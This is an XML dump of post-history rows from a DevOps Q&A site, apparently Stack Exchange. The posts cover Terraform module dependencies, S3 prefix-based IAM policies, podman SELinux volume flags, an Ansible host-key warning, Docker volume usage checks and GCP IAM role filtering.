  <row Id="34497" PostHistoryTypeId="5" PostId="11275" RevisionGUID="0c468826-477c-4c31-96fc-1ee29c333fa8" CreationDate="2020-04-08T17:35:13.973" UserId="21596" Comment="Editing word usage. The version refers to my local version. When this change was introduced as a protected variable, could be sometime earlier." Text="The most popular answer is out of date with Terraform in version 0.12.24.&#xD;&#xA;&#xD;&#xA;`depends_on` is a protected variable, and cannot be used in a `module`.&#xD;&#xA;In addition there are a few syntax differences.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I've updated the example below.&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# ROOT level main.tf&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create NAT Gateway - Associates EIP as well&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_nat_gateway&quot; {&#xD;&#xA;  source            = &quot;./vpc_nat_gateway&quot;&#xD;&#xA;  vpc_id            = module.vpc.id&#xD;&#xA;  public_subnet_ids = module.vpc_subnets.public_subnet_ids&#xD;&#xA;  private_cidr      = var.private_cidr&#xD;&#xA;  common_tags       = local.common_tags&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;# Create Private Routes&#xD;&#xA;# -------------------------------------------------------------------&#xD;&#xA;module &quot;vpc_private_route&quot; {&#xD;&#xA;  source         = &quot;./vpc_private_route&quot;&#xD;&#xA;  vpc_id.        = module.vpc.id&#xD;&#xA;  nat_gateway_id = module.vpc_nat_gateway.nat_gateway_id&#xD;&#xA;  common_tags    = local.common_tags&#xD;&#xA;&#xD;&#xA;  # Depends is a custom variable, depends_on is a reserved keyword.&#xD;&#xA;  depends = [module.vpc_nat_gateway.nat_gateway_id]&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;```&#xD;&#xA;# vpc_private_route module - main.tf&#xD;&#xA;variable &quot;depends&quot; {&#xD;&#xA;  default = []&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;resource &quot;null_resource&quot; &quot;depends_on&quot; {&#xD;&#xA;  triggers = {&#xD;&#xA;    depends_on = &quot;${join(&quot;&quot;, var.depends)}&quot;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az1&quot; {&#xD;&#xA;  vpc_id = var.vpc_id&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    null_resource.depends_on&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;data &quot;aws_nat_gateway&quot; &quot;az2&quot; {&#xD;&#xA;  vpc_id = var.vpc_id&#xD;&#xA;&#xD;&#xA;  depends_on = [&#xD;&#xA;    null_resource.depends_on&#xD;&#xA;  ]&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34498" PostHistoryTypeId="2" PostId="11276" RevisionGUID="8eb79891-5b1d-473d-8420-c86d2ea2ad61" CreationDate="2020-04-08T18:21:24.837" UserId="7837" Text="On Google Cloud Storage or Amazon S3, is there a way to give users a key to only a specific subdirectory of a storage bucket, for example:&#xD;&#xA;&#xD;&#xA;    gs://images.eng.cm.com/avatars/&lt;user-uuid&gt;/xyz&#xD;&#xA;&#xD;&#xA;so the user has a user id of &lt;user-uuid&gt; and they can read and write only to that subdirectory of the storage bucket, and only if they have a read/write access key in hand too?&#xD;&#xA;&#xD;&#xA;Anyone know how to create this fine-grained access control? is it possible/advised?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34499" PostHistoryTypeId="1" PostId="11276" RevisionGUID="8eb79891-5b1d-473d-8420-c86d2ea2ad61" CreationDate="2020-04-08T18:21:24.837" UserId="7837" Text="How to make different permissions for different subdirectories of storage bucket" ContentLicense="CC BY-SA 4.0" />
  <row Id="34500" PostHistoryTypeId="3" PostId="11276" RevisionGUID="8eb79891-5b1d-473d-8420-c86d2ea2ad61" CreationDate="2020-04-08T18:21:24.837" UserId="7837" Text="&lt;amazon-s3&gt;&lt;images&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34501" PostHistoryTypeId="2" PostId="11277" RevisionGUID="24455d9e-f2cb-4481-b74c-b0e09cbe8fc4" CreationDate="2020-04-08T18:54:10.707" UserId="21572" Text="Thanks to the people [here](https://old.reddit.com/r/podman/comments/fww87v/permission_denied_within_mounted_volume_inside/), the solution is quite simple (but not obvious):&#xD;&#xA;&#xD;&#xA;My GNU/Linux container host has SELinux activated, and that's why I was having permissions problems. The solution is to simply append a `:z` to the `podman run` volume argument so that this:&#xD;&#xA;&#xD;&#xA;`podman run -it -v /host/foobar:/src_dir /bin/bash`&#xD;&#xA;&#xD;&#xA;becomes this:&#xD;&#xA;&#xD;&#xA;`podman run -it -v /host/foobar:/src_dir:z /bin/bash`&#xD;&#xA;&#xD;&#xA;That's it." ContentLicense="CC BY-SA 4.0" />
  <row Id="34505" PostHistoryTypeId="2" PostId="11279" RevisionGUID="ce9c436e-76cd-4d0a-b803-ac28eb5a8181" CreationDate="2020-04-08T22:07:33.283" UserId="17675" Text="We have an AWS S3 bucket that accepts uploads from untrusted sources which are then processed and moved out of the bucket. &#xD;&#xA;&#xD;&#xA;Is there a Policy that can limit the growth of the bucket to some predetermined upper bound to protect us in case something goes wrong?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34506" PostHistoryTypeId="1" PostId="11279" RevisionGUID="ce9c436e-76cd-4d0a-b803-ac28eb5a8181" CreationDate="2020-04-08T22:07:33.283" UserId="17675" Text="Is there a policy that can limit the growth of an AWS S3 buckets total size?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34507" PostHistoryTypeId="3" PostId="11279" RevisionGUID="ce9c436e-76cd-4d0a-b803-ac28eb5a8181" CreationDate="2020-04-08T22:07:33.283" UserId="17675" Text="&lt;amazon-s3&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34508" PostHistoryTypeId="2" PostId="11280" RevisionGUID="274d96a0-7937-4173-bdeb-33c6d80d24a8" CreationDate="2020-04-08T22:21:03.727" UserId="8800" Text="Not as far as I know. &#xD;&#xA;&#xD;&#xA;You can create [**Billing alerts**][1] to get notifications when AWS thinks that your monthly spend may be over a given threshold.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/monitor_estimated_charges_with_cloudwatch.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34509" PostHistoryTypeId="2" PostId="11281" RevisionGUID="55a1344a-e28f-42b8-9e59-1a2c33ad4e47" CreationDate="2020-04-08T23:30:36.120" UserId="18538" Text="A scheduled devops pipeline is an easy and free  way to run azure cli tasks on a recurring basis.&#xD;&#xA;&#xD;&#xA;https://docs.microsoft.com/en-us/azure/devops/pipelines/process/scheduled-triggers?view=azure-devops&amp;tabs=yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="34510" PostHistoryTypeId="2" PostId="11282" RevisionGUID="4924e1fb-ed8b-49fd-a364-b291b42a75ea" CreationDate="2020-04-09T00:26:21.843" UserId="11380" Text="&#xD;&#xA; I've followed the recommendations I could find to prevent this from happening.  I am using Vagrant, but once the boxes are spun, I'd like to do things with the `ansible` command sometimes.&#xD;&#xA;&#xD;&#xA;    $ grep host_key /etc/ansible/ansible.cfg                                                                                                               &#xD;&#xA;    host_key_checking = False&#xD;&#xA;    &#xD;&#xA;    $ grep kafka01 ./inventory&#xD;&#xA;    kafka01 ansible_host=127.0.0.1 ansible_port=2231 ansible_user='vagrant' ansible_ssh_private_key_file='/home/me/project/project/.vagrant/machines/kafka01/virtualbox/private_key' ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;    &#xD;&#xA;    $ export ANSIBLE_HOST_KEY_CHECKING=False&#xD;&#xA;    $ ansible kafka01 -m ping -i ./inventory                                                                                                               &#xD;&#xA;    &#xD;&#xA;     [WARNING]: Unhandled error in Python interpreter discovery for host kafka01: Failed to connect to the host via ssh: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @    WARNING:&#xD;&#xA;    REMOTE HOST IDENTIFICATION HAS CHANGED!     @  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!  Someone could be eavesdropping on&#xD;&#xA;    you right now (man-in-the-middle attack)!  It is also possible that a host key has just been changed.  The fingerprint for the ECDSA key sent by the remote host is&#xD;&#xA;    SHA256:jn5ClU5g566Gsvobf8Xc45DJnIiAllN+RJkg35Nf9KE.  Please contact your system administrator.  Add correct host key in /home/me/.ssh/known_hosts to get rid of this message.  Offending ECDSA key&#xD;&#xA;    in /home/me/.ssh/known_hosts:19    remove with:    ssh-keygen -f &quot;/home/me/.ssh/known_hosts&quot; -R &quot;[127.0.0.1]:2231&quot;  ECDSA host key for [127.0.0.1]:2231 has changed and you have requested strict&#xD;&#xA;    checking.  Host key verification failed.&#xD;&#xA;    &#xD;&#xA;    kafka01 | UNREACHABLE! =&gt; {&#xD;&#xA;    .....&#xD;&#xA;&#xD;&#xA; What's going on here?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34511" PostHistoryTypeId="1" PostId="11282" RevisionGUID="4924e1fb-ed8b-49fd-a364-b291b42a75ea" CreationDate="2020-04-09T00:26:21.843" UserId="11380" Text="Ansible warning that host key has changed, even though I've taken multiple steps to prevent this warning" ContentLicense="CC BY-SA 4.0" />
  <row Id="34512" PostHistoryTypeId="3" PostId="11282" RevisionGUID="4924e1fb-ed8b-49fd-a364-b291b42a75ea" CreationDate="2020-04-09T00:26:21.843" UserId="11380" Text="&lt;ansible&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34513" PostHistoryTypeId="2" PostId="11283" RevisionGUID="650b8e52-cb89-454d-8187-1305fea166fa" CreationDate="2020-04-09T05:20:44.243" UserId="21605" Text="I'm planning to automate docker activities using python. However, I couldn't find any efficient command for monitoring docker volume. So now I wish to use shell commands for that and later it can be converted using subprocess in python.&#xD;&#xA;&#xD;&#xA;My requirement is when I give a volume name then I need the used space, free space, and total space of that volume for finding the storage threshold of the same.&#xD;&#xA;&#xD;&#xA;I tried using the ```docker system df -v``` But it showing all details.&#xD;&#xA;&#xD;&#xA;For example, I give the volume name as my_volume then I need storage details of the same only. Hope everyone understood my requirement and excepting a helping hand from someone.&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="34514" PostHistoryTypeId="1" PostId="11283" RevisionGUID="650b8e52-cb89-454d-8187-1305fea166fa" CreationDate="2020-04-09T05:20:44.243" UserId="21605" Text="How can I monitor docker volume usage?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34515" PostHistoryTypeId="3" PostId="11283" RevisionGUID="650b8e52-cb89-454d-8187-1305fea166fa" CreationDate="2020-04-09T05:20:44.243" UserId="21605" Text="&lt;docker&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34516" PostHistoryTypeId="11" PostId="5762" RevisionGUID="aeef9824-4b65-4b45-b2af-ca579b502df2" CreationDate="2020-04-09T07:29:38.740" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="34517" PostHistoryTypeId="2" PostId="11284" RevisionGUID="d94e6236-03f2-4b92-ad94-0b7810e25c84" CreationDate="2020-04-09T09:32:57.343" UserId="21607" Text="I have written some Ansible code to put users from the users.yaml file in the variable 'nexus_local_users' to be used by a role. When doing this a random password is created and written to the 'credentials/{{ user }}/password.txt' file. &#xD;&#xA;&#xD;&#xA;I'm looking for a condition that can make sure that once the user is created it won't be added to the variable again, to make sure the user isn't added twice. My first thought to achieve this was to check if a password has been generated already. &#xD;&#xA;&#xD;&#xA;Is there any way to make sure a user is only added to this variable once and not on consecutive runs?&#xD;&#xA;&#xD;&#xA;Here is a snapshot of the code I am using:&#xD;&#xA;```&#xD;&#xA;    - name: Include users.yaml and setup all vars for nexus&#xD;&#xA;      include_vars:&#xD;&#xA;        file: users.yaml&#xD;&#xA;        name: users&#xD;&#xA;    - set_fact:&#xD;&#xA;       tmp_user:&#xD;&#xA;        - username: &quot;{{ item.username }}&quot;&#xD;&#xA;          first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;          last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;          email: &quot;{{ item.email }}&quot;&#xD;&#xA;          password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;          roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;      loop: &quot;{{ users.nexus_local_users }}&quot; &#xD;&#xA;      register: tmp_users&#xD;&#xA;    - set_fact:&#xD;&#xA;        tmp_user: &quot;{{ item.item | combine(item.ansible_facts.tmp_user) }}&quot;&#xD;&#xA;      with_items: &quot;{{ tmp_users.results }}&quot;&#xD;&#xA;      register: tmp_users&#xD;&#xA;    - set_fact:&#xD;&#xA;        nexus_local_users: &quot;{{ tmp_users.results | map(attribute='ansible_facts.tmp_user') | list }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I'm looking for something like this but can't figure out how to implement it (the when condition):&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;    - set_fact:&#xD;&#xA;       tmp_user:&#xD;&#xA;        - username: &quot;{{ item.username }}&quot;&#xD;&#xA;          first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;          last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;          email: &quot;{{ item.email }}&quot;&#xD;&#xA;          password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;          roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;      loop: &quot;{{ users.nexus_local_users }}&quot;&#xD;&#xA;      when: **directory/file credentials/{{ user }}/password.txt exists**&#xD;&#xA;      register: tmp_users&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Thanks in advance!&#xD;&#xA;&#xD;&#xA;Gijs" ContentLicense="CC BY-SA 4.0" />
  <row Id="34518" PostHistoryTypeId="1" PostId="11284" RevisionGUID="d94e6236-03f2-4b92-ad94-0b7810e25c84" CreationDate="2020-04-09T09:32:57.343" UserId="21607" Text="Ansible: When 'directory/file exists' in a loop" ContentLicense="CC BY-SA 4.0" />
  <row Id="34519" PostHistoryTypeId="3" PostId="11284" RevisionGUID="d94e6236-03f2-4b92-ad94-0b7810e25c84" CreationDate="2020-04-09T09:32:57.343" UserId="21607" Text="&lt;ansible&gt;&lt;automation&gt;&lt;passwords&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34527" PostHistoryTypeId="2" PostId="11287" RevisionGUID="6919d958-1783-46ec-97cc-c1fa68f93335" CreationDate="2020-04-09T14:17:12.373" UserId="7730" Text="I'd recommend a temporary container for this. It will work on just about any version of docker, and supports named volumes with non-default settings, e.g. that store data on remote systems (e.g. NFS) or modify the bind mound settings to use another folder.&#xD;&#xA;&#xD;&#xA;A simple example is:&#xD;&#xA;&#xD;&#xA;    $ docker container run --rm -v &quot;${volume_name}:/volume&quot; -w /volume busybox df -P .&#xD;&#xA;    Filesystem           1024-blocks    Used Available Capacity Mounted on&#xD;&#xA;    /dev/..........              898086280 350169736 502226484  41% /volume&#xD;&#xA;&#xD;&#xA;You can parse that output or reformat with the `df` command as appropriate for your use case. The busybox version of `df` will have fewer options than you may be used to:&#xD;&#xA;&#xD;&#xA;    $ df --help&#xD;&#xA;    BusyBox v1.31.1 (2019-12-23 19:20:27 UTC) multi-call binary.&#xD;&#xA;    &#xD;&#xA;    Usage: df [-PkmhTai] [-B SIZE] [FILESYSTEM]...&#xD;&#xA;    &#xD;&#xA;    Print filesystem usage statistics&#xD;&#xA;    &#xD;&#xA;            -P      POSIX output format&#xD;&#xA;            -k      1024-byte blocks (default)&#xD;&#xA;            -m      1M-byte blocks&#xD;&#xA;            -h      Human readable (e.g. 1K 243M 2G)&#xD;&#xA;            -T      Print filesystem type&#xD;&#xA;            -a      Show all filesystems&#xD;&#xA;            -i      Inodes&#xD;&#xA;            -B SIZE Blocksize&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34529" PostHistoryTypeId="5" PostId="11282" RevisionGUID="9f2f9119-292c-4290-b61e-a19fd9984a11" CreationDate="2020-04-09T15:10:55.917" UserId="11380" Comment="added 145 characters in body" Text="&#xD;&#xA; I've followed the recommendations I could find to prevent this from happening.  I am using Vagrant, but once the boxes are spun, I'd like to do things with the `ansible` command sometimes.&#xD;&#xA;&#xD;&#xA;    $ grep host_key /etc/ansible/ansible.cfg                                                                                                               &#xD;&#xA;    host_key_checking = False&#xD;&#xA;    &#xD;&#xA;    $ grep kafka01 ./inventory&#xD;&#xA;    kafka01 ansible_host=127.0.0.1 ansible_port=2231 ansible_user='vagrant' ansible_ssh_private_key_file='/home/me/project/project/.vagrant/machines/kafka01/virtualbox/private_key' ansible_ssh_common_args='-o StrictHostKeyChecking=no'&#xD;&#xA;    &#xD;&#xA;    $ export ANSIBLE_HOST_KEY_CHECKING=False&#xD;&#xA;    $ ansible kafka01 -m ping -i ./inventory                                                                                                               &#xD;&#xA;    &#xD;&#xA;     [WARNING]: Unhandled error in Python interpreter discovery for host kafka01: Failed to connect to the host via ssh: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  @    WARNING:&#xD;&#xA;    REMOTE HOST IDENTIFICATION HAS CHANGED!     @  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!  Someone could be eavesdropping on&#xD;&#xA;    you right now (man-in-the-middle attack)!  It is also possible that a host key has just been changed.  The fingerprint for the ECDSA key sent by the remote host is&#xD;&#xA;    SHA256:jn5ClU5g566Gsvobf8Xc45DJnIiAllN+RJkg35Nf9KE.  Please contact your system administrator.  Add correct host key in /home/me/.ssh/known_hosts to get rid of this message.  Offending ECDSA key&#xD;&#xA;    in /home/me/.ssh/known_hosts:19    remove with:    ssh-keygen -f &quot;/home/me/.ssh/known_hosts&quot; -R &quot;[127.0.0.1]:2231&quot;  ECDSA host key for [127.0.0.1]:2231 has changed and you have requested strict&#xD;&#xA;    checking.  Host key verification failed.&#xD;&#xA;    &#xD;&#xA;    kafka01 | UNREACHABLE! =&gt; {&#xD;&#xA;    .....&#xD;&#xA;&#xD;&#xA; What's going on here?&#xD;&#xA;&#xD;&#xA;Edit: No, I don't want to keep deleting the key.  I destroy/build these over and over again.  I want to find the correct, long-term solution.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34530" PostHistoryTypeId="2" PostId="11288" RevisionGUID="c3c853e9-a52f-4b57-bb39-c8e6b813ecbe" CreationDate="2020-04-09T15:37:46.243" UserId="21612" Text="Yes. Use multi-job project to combine FE phase and BE phase together. Or if you used pipeline, just add those pipelines under &quot;build&quot; step." ContentLicense="CC BY-SA 4.0" />
  <row Id="34531" PostHistoryTypeId="2" PostId="11289" RevisionGUID="449b6758-e2c9-4af7-a5d9-8c2b24d529c6" CreationDate="2020-04-09T15:38:52.253" UserId="14664" Text="You should first [stat][1] for the password file, and then set the fact depending on whether the [file.stat.exists][2] or not. And both those tasks need to be performed for each user.&#xD;&#xA;&#xD;&#xA;As of Ansible 2.4 you can dynamically [include_tasks][3] and perform a [loop][4] on it. Meaning that you can group a few tasks in a file and loop those tasks for every value in your loop-variable.&#xD;&#xA;&#xD;&#xA;I think this should be able to solve your problem by creating a separate tasks file containing these tasks that should be run for each user:&#xD;&#xA;&#xD;&#xA;Stat for the password-file:&#xD;&#xA;```yaml&#xD;&#xA;   - name: Check if password-file exists for user&#xD;&#xA;     stat:&#xD;&#xA;        path: &quot;credentials/{{ item.username }}/password.txt&quot;&#xD;&#xA;     register: password_file&#xD;&#xA;```&#xD;&#xA;Next you can define your tmp_user var when the password.txt-file exists:&#xD;&#xA;```yaml&#xD;&#xA;   - name: Set fact for user&#xD;&#xA;     set_fact:&#xD;&#xA;       tmp_user:&#xD;&#xA;        - username: &quot;{{ item.username }}&quot;&#xD;&#xA;          first_name: &quot;{{ item.first_name }}&quot;&#xD;&#xA;          last_name: &quot;{{ item.last_name }}&quot;&#xD;&#xA;          email: &quot;{{ item.email }}&quot;&#xD;&#xA;          password: &quot;{{ lookup('password', 'credentials/' + item.username + '/password.txt length=15 chars=ascii_letters') }}&quot;&#xD;&#xA;          roles: &quot;{{ item.roles }}&quot;&#xD;&#xA;      when: password_file.stat.exists&#xD;&#xA;      register: set_tmp_user&#xD;&#xA;```&#xD;&#xA;Then, if previous task defined a new fact tmp_user, that fact should be added to the tmp_users list. &#xD;&#xA;```yaml&#xD;&#xA;   - name: Add user to list&#xD;&#xA;     set_fact:&#xD;&#xA;       tmp_users: {{ tmp_users + [ tmp_user ] }}&#xD;&#xA;     when: not set_tmp_user is skipped&#xD;&#xA;```&#xD;&#xA;(not sure by head if you can use `when: set_tmp_user is changed` but `not is skipped` should do the job)&#xD;&#xA;&#xD;&#xA;Then in you main tasks-file, you create an empty tmp_users list and call an include_tasks in a loop to loop through the above tasks:&#xD;&#xA;```yaml&#xD;&#xA;   - name: Include users.yaml and setup all vars for nexus&#xD;&#xA;     include_vars:&#xD;&#xA;       file: users.yaml&#xD;&#xA;       name: users&#xD;&#xA;&#xD;&#xA;   - name: Initialize tmp_users&#xD;&#xA;     set_fact:&#xD;&#xA;        tmp_users: []&#xD;&#xA;&#xD;&#xA;   - name: Set user facts&#xD;&#xA;     include_tasks: set_user_facts.yml&#xD;&#xA;     loop: &quot;{{ users.nexus_local_users }}&quot;&#xD;&#xA;```&#xD;&#xA;Disclaimer: I have not been able to test this out, or check its syntax, but I assume the general idea of which I try to accomplish here should be clear?&#xD;&#xA;&#xD;&#xA;Also be aware that you currently can't perform a loop inside the included tasks file as that loop will by default overwrite the `item`-variable defined by the tasks-loop. See [defining inner and outer variable names with loop var][5] to solve this.&#xD;&#xA;&#xD;&#xA;And an additional tip: add a debug task as first task to your included tasks file to output the current `item.username` in the loop.&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.ansible.com/ansible/latest/modules/stat_module.htm&#xD;&#xA;  [2]: https://docs.ansible.com/ansible/latest/modules/stat_module.html#return-stat/exists&#xD;&#xA;  [3]: https://docs.ansible.com/ansible/latest/modules/include_tasks_module.html&#xD;&#xA;  [4]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html&#xD;&#xA;  [5]: https://docs.ansible.com/ansible/latest/user_guide/playbooks_loops.html#defining-inner-and-outer-variable-names-with-loop-var" ContentLicense="CC BY-SA 4.0" />
  <row Id="34532" PostHistoryTypeId="2" PostId="11290" RevisionGUID="cd2b4042-9e87-4706-93b0-df040af12734" CreationDate="2020-04-09T15:53:39.167" UserId="7498" Text="There's not such a policy as far as I know.&#xD;&#xA;&#xD;&#xA;That being said, you could trigger a lambda and then make this lambda check the properties of your bucket and then you would perform any actions you need." ContentLicense="CC BY-SA 4.0" />
  <row Id="34533" PostHistoryTypeId="2" PostId="11291" RevisionGUID="c368334e-ec2e-4384-ba9c-690804272655" CreationDate="2020-04-09T16:03:42.983" UserId="20392" Text="```gcloud projects get-iam-policy [PROJECT-ID]``` lists all users with their roles for specific project. There are different filters and formatters available but I can't seem to find the right way to just filter only by specific role.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ gcloud projects get-iam-policy MY_PROJECT&#xD;&#xA;&#xD;&#xA;bindings:&#xD;&#xA;- members:&#xD;&#xA;  - serviceAccount:12345678-compute@developer.gserviceaccount.com&#xD;&#xA;  - user:alice@foobar.com&#xD;&#xA;  role: roles/editor&#xD;&#xA;- members:&#xD;&#xA;  - user:you@yourdomain.com&#xD;&#xA;  - user:someoneelse@yourdomain.com&#xD;&#xA;  role: roles/owner&#xD;&#xA;etag: ARBITRARY_ETAG_HERE&#xD;&#xA;version: 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What's the `--filter=` expression that I need to use to list only users with the role `roles/owner`?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34534" PostHistoryTypeId="1" PostId="11291" RevisionGUID="c368334e-ec2e-4384-ba9c-690804272655" CreationDate="2020-04-09T16:03:42.983" UserId="20392" Text="How to list all users with specific role in GCP" ContentLicense="CC BY-SA 4.0" />
  <row Id="34535" PostHistoryTypeId="3" PostId="11291" RevisionGUID="c368334e-ec2e-4384-ba9c-690804272655" CreationDate="2020-04-09T16:03:42.983" UserId="20392" Text="&lt;google-cloud-platform&gt;&lt;gcp&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34536" PostHistoryTypeId="2" PostId="11292" RevisionGUID="12704d3e-69b1-4828-b539-f139666d3881" CreationDate="2020-04-09T16:07:22.087" UserId="7498" Text="Before giving the answer I'd like to clarify that S3 is meant for *object* storage, meaning that there's no file system involved and thus there are not &quot;directories&quot; per se.&#xD;&#xA;&#xD;&#xA;So, an &quot;object&quot; with the name &quot;/avatars/user-123/xyz&quot; might give you the impression that it's stored in the &quot;/avatars/user-123&quot; directory, but there's no directory involved, that's just a name.&#xD;&#xA;&#xD;&#xA;That being said, you can treat that portion of the name (/avatars/user-123) as a prefix, and then you can create IAM policies for your S3 buckets using said prefixes.&#xD;&#xA;&#xD;&#xA;For futre reference, the following examples have been taken from:&#xD;&#xA;https://aws.amazon.com/premiumsupport/knowledge-center/s3-folder-user-access/&#xD;&#xA;&#xD;&#xA;In case readers find out that link has been taken down I'll just copy and paste the examples here&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;AllowStatement1 allows the user to list the buckets that belong to their AWS account. The user needs this permission to be able to navigate to the bucket using the console.&#xD;&#xA;&#xD;&#xA;AllowStatement2A allows the user to list the folders within awsexamplebucket, which the user needs to be able to navigate to the folder using the console. The statement also allows the user to search on the prefix media/ using the console.&#xD;&#xA;&#xD;&#xA;AllowStatement3 allows the user to list the contents within awsexamplebucket/media.&#xD;&#xA;&#xD;&#xA;AllowStatement4A allows the user to download objects (s3:GetObject) from the folder awsexamplebucket/media.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&#xD;&#xA; &quot;Version&quot;:&quot;2012-10-17&quot;,&#xD;&#xA; &quot;Statement&quot;: [&#xD;&#xA;   {&#xD;&#xA;     &quot;Sid&quot;: &quot;AllowStatement1&quot;,&#xD;&#xA;     &quot;Action&quot;: [&quot;s3:ListAllMyBuckets&quot;, &quot;s3:GetBucketLocation&quot;],&#xD;&#xA;     &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;     &quot;Resource&quot;: [&quot;arn:aws:s3:::*&quot;]&#xD;&#xA;   },&#xD;&#xA;  {&#xD;&#xA;     &quot;Sid&quot;: &quot;AllowStatement2A&quot;,&#xD;&#xA;     &quot;Action&quot;: [&quot;s3:ListBucket&quot;],&#xD;&#xA;     &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;     &quot;Resource&quot;: [&quot;arn:aws:s3:::awsexamplebucket&quot;],&#xD;&#xA;     &quot;Condition&quot;:{&quot;StringEquals&quot;:{&quot;s3:prefix&quot;:[&quot;&quot;,&quot;media&quot;]}}&#xD;&#xA;    },&#xD;&#xA;  {&#xD;&#xA;     &quot;Sid&quot;: &quot;AllowStatement3&quot;,&#xD;&#xA;     &quot;Action&quot;: [&quot;s3:ListBucket&quot;],&#xD;&#xA;     &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;     &quot;Resource&quot;: [&quot;arn:aws:s3:::awsexamplebucket&quot;],&#xD;&#xA;     &quot;Condition&quot;:{&quot;StringLike&quot;:{&quot;s3:prefix&quot;:[&quot;media/*&quot;]}}&#xD;&#xA;    },    &#xD;&#xA;   {&#xD;&#xA;     &quot;Sid&quot;: &quot;AllowStatement4A&quot;,&#xD;&#xA;     &quot;Effect&quot;: &quot;Allow&quot;,&#xD;&#xA;     &quot;Action&quot;: [&quot;s3:GetObject&quot;],&#xD;&#xA;     &quot;Resource&quot;: [&quot;arn:aws:s3:::awsexamplebucket/media/*&quot;]&#xD;&#xA;   }&#xD;&#xA; ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34538" PostHistoryTypeId="2" PostId="11293" RevisionGUID="0ae2a16c-7650-49ce-bb49-8023e684d52e" CreationDate="2020-04-09T19:16:42.523" UserId="11919" Text="What you are describing is best achieved by either using two jobs or let task 1 also be an init Container as they run in sequence.&#xD;&#xA;Alternatively you could use Argo Workflows. &#xD;&#xA;https://github.com/argoproj/argo" ContentLicense="CC BY-SA 4.0" />
  <row Id="34539" PostHistoryTypeId="2" PostId="11294" RevisionGUID="290b5b1f-6cf2-4f02-852c-6f8026f1d9b3" CreationDate="2020-04-09T19:21:08.517" UserId="11919" Text="No, you can set requests and limits with fractions of vCPUs.&#xD;&#xA;For example, every pod has a request/limit of 100m (1/10 of a CPU). &#xD;&#xA;This means 20 pods would need 2 CPUs in total. " ContentLicense="CC BY-SA 4.0" />
